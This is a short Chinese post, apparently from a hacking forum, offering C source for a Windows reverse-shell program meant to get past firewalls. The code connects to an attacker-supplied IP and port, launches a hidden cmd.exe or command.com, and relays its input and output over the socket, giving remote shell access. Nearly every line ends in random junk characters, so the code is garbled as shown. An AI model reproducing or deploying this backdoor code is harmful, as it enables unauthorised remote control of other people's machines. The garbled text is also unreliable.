这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /9yiMmr5W
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/* ============================== =L=#PJAPj
Rebound port in Windows NT '^J/aV
By wind,2006/7 o|}%pc3
===============================*/ ~d%Q1F*,=
#include m3XH3FgKz
#include (Q4_3<G+
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#pragma comment(lib,"wsock32.lib") 0F3>kp4u
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void OutputShell(); ljis3{kn""
SOCKET sClient; bOFLI#p&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0iE).Za0g
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void main(int argc,char **argv) sogbD9Jc
{ 87Uv+((H
WSADATA stWsaData; 2%<jYm#'z-
int nRet; }?~uAU-
SOCKADDR_IN stSaiClient,stSaiServer; O}`01A!u;
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if(argc != 3) \|pAn
{ T7T!v
printf("Useage:\n\rRebound DestIP DestPort\n"); <F3sQAe
return; aK>9:{]ez
} ]T l\9we
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WSAStartup(MAKEWORD(2,2),&stWsaData); MUe'xK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9j2I6lGQ
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stSaiClient.sin_family = AF_INET; w@ 5/mf?
stSaiClient.sin_port = htons(0); Hb+#*42v
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]dK]a:S
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .apX72's,
{ u20b+c4
printf("Bind Socket Failed!\n"); _]S6>
return; +{%4&T<nHw
} 55cldo
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stSaiServer.sin_family = AF_INET; X@:fW @
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /T(\}Z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w.Vynb
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xI4I1"/
{ `eWcp^|
printf("Connect Error!"); by
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return; @NNLzqqY
} `I>K?
OutputShell(); m3(T0.j0P
} huoKr
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void OutputShell() 9i<-\w^$
{ B# ?2,
char szBuff[1024]; $
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SECURITY_ATTRIBUTES stSecurityAttributes; rc$!$~|I3Z
OSVERSIONINFO stOsversionInfo; Vrj1$NL%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; P082.:q"
STARTUPINFO stStartupInfo; --twkD
char *szShell; hcgc
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PROCESS_INFORMATION stProcessInformation; VDKS_n
unsigned long lBytesRead; ^B5cNEO
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K~8tN,~&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v7(|K
stSecurityAttributes.lpSecurityDescriptor = 0; M6'C 3,y0
stSecurityAttributes.bInheritHandle = TRUE; :dguQ|e
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qysa!B
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iEviH>b5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }=hoATs
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fHd!/%iG
stStartupInfo.wShowWindow = SW_HIDE; ~y2)&x
stStartupInfo.hStdInput = hReadPipe; n<:d%&^n
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dA}
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GetVersionEx(&stOsversionInfo); @y(Wy}
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switch(stOsversionInfo.dwPlatformId) 0R}Sw[M.
{ pTALhj#,
case 1: Ww96|m
szShell = "command.com"; nh eU~jb
break; M>jBm
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default: ls24ccOs
szShell = "cmd.exe"; t\pK`DM-[
break; !p,hy`
} G|-\T(&J
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :Jeo_}e 0
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send(sClient,szMsg,77,0); P iQkJ[
while(1) '^Utbp2<
{ h
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A!{.|x[S44
if(lBytesRead) 'q92E(
{ ZS XRzH~0
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )@,90Vhh
send(sClient,szBuff,lBytesRead,0); X&(ERY,h
} #$=8g
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else l+2cj?X
{ 30?LsYXL62
lBytesRead=recv(sClient,szBuff,1024,0); V5O=iMP
if(lBytesRead<=0) break; ySQ-!fQnP
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fJWxJSdi
} K3rBl!7v
} ~`2&'8
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return; b0YiQjS6>
}